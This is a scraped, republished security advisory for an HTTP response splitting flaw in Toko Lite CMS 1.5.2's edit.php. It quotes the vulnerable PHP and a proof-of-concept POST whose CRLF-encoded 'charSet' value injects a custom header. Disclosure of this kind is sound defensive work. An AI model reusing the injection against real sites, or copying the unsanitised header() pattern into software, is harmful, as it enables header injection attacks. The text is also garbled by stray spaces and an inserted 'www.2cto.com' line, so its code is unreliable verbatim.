Toko Lite CMS 1.5.2 (edit. php) HTTP Response Splitting defect and repair

Toko Lite CMS 1.5.2 (edit. php) HTTP Response Splitting Vulnerability

Developer: Toko

Home: http://toko-contenteditor.pageil.net

Affected Versions: 1.5.2

Summary: Toko Web Content Editor cms is a compact, multi language, open

Source web editor and content management system (CMS). It is advanced

Easy to use yet fully featured program that can be integrated with any

Existing site. It takes 2 minuets to install even for non technical users.

Desc: Input passed to the 'charset' parameter in 'edit. php' is not properly

Sanitised before being returned to the user. This can be exploited to insert

Arbitrary HTTP headers, which are encoded in a response sent to the user.

========================================================== ======================================

/Edit. php:

--------------------------------------------------------------------

3: $ charSet = "iso-8859-1 ";

4: $ dir = "ltr ";

5:

6: if (isset ($ _ POST ["charSet"])

7 :{

8: $ charSet = $ _ POST ["charSet"];

9:

10: if ($ charSet = "windows-1255 ")

11 :{

12: $ dir = "rtl ";

13 :}

14 :}

15: www.2cto.com

16: header ("Content-Type: text/html; charset =". $ charSet );

========================================================== ======================================

Tested on: Microsoft Windows XP Professional SP3 (EN)

Apache 2.2.14 (Win32)

PHP 5.3.1

MySQL 5.1.41

Vulnerability discovered by Gjoko 'liquidworm' Krstic

@ Zeroscience

Advisory ID: ZSL-2011-5048

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5048.php

Cwe id: 113

22.03.2011

------------

POST/tokolite1.5.2/edit. php HTTP/1.1

Content-Length: 55

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID = as9l9t0a7rs9pmuflb7c5s9o70; pma_fontsize = 82% 25

Host: localhost: 80

Connection: Keep-alive

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

CharSet = % 0D % 0A % 20ZSL % 2 DCustom % 2 DHeader % 3Alove_injection

--

HTTP/1.1 302 Found

Date: Tue, 22 Mar 2011 03:57:30 GMT

Server: Apache/2.2.14 (Win32)

X-Powered-By: PHP/5.3.1

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check = 0, pre-check = 0

Pragma: no-cache

Location: Login. php

Content-Length: 0

Keep-Alive: timeout = 5, max = 64

Connection: Keep-Alive

Content-Type: text/html; charset =

ZSL-Custom-Header: love_injection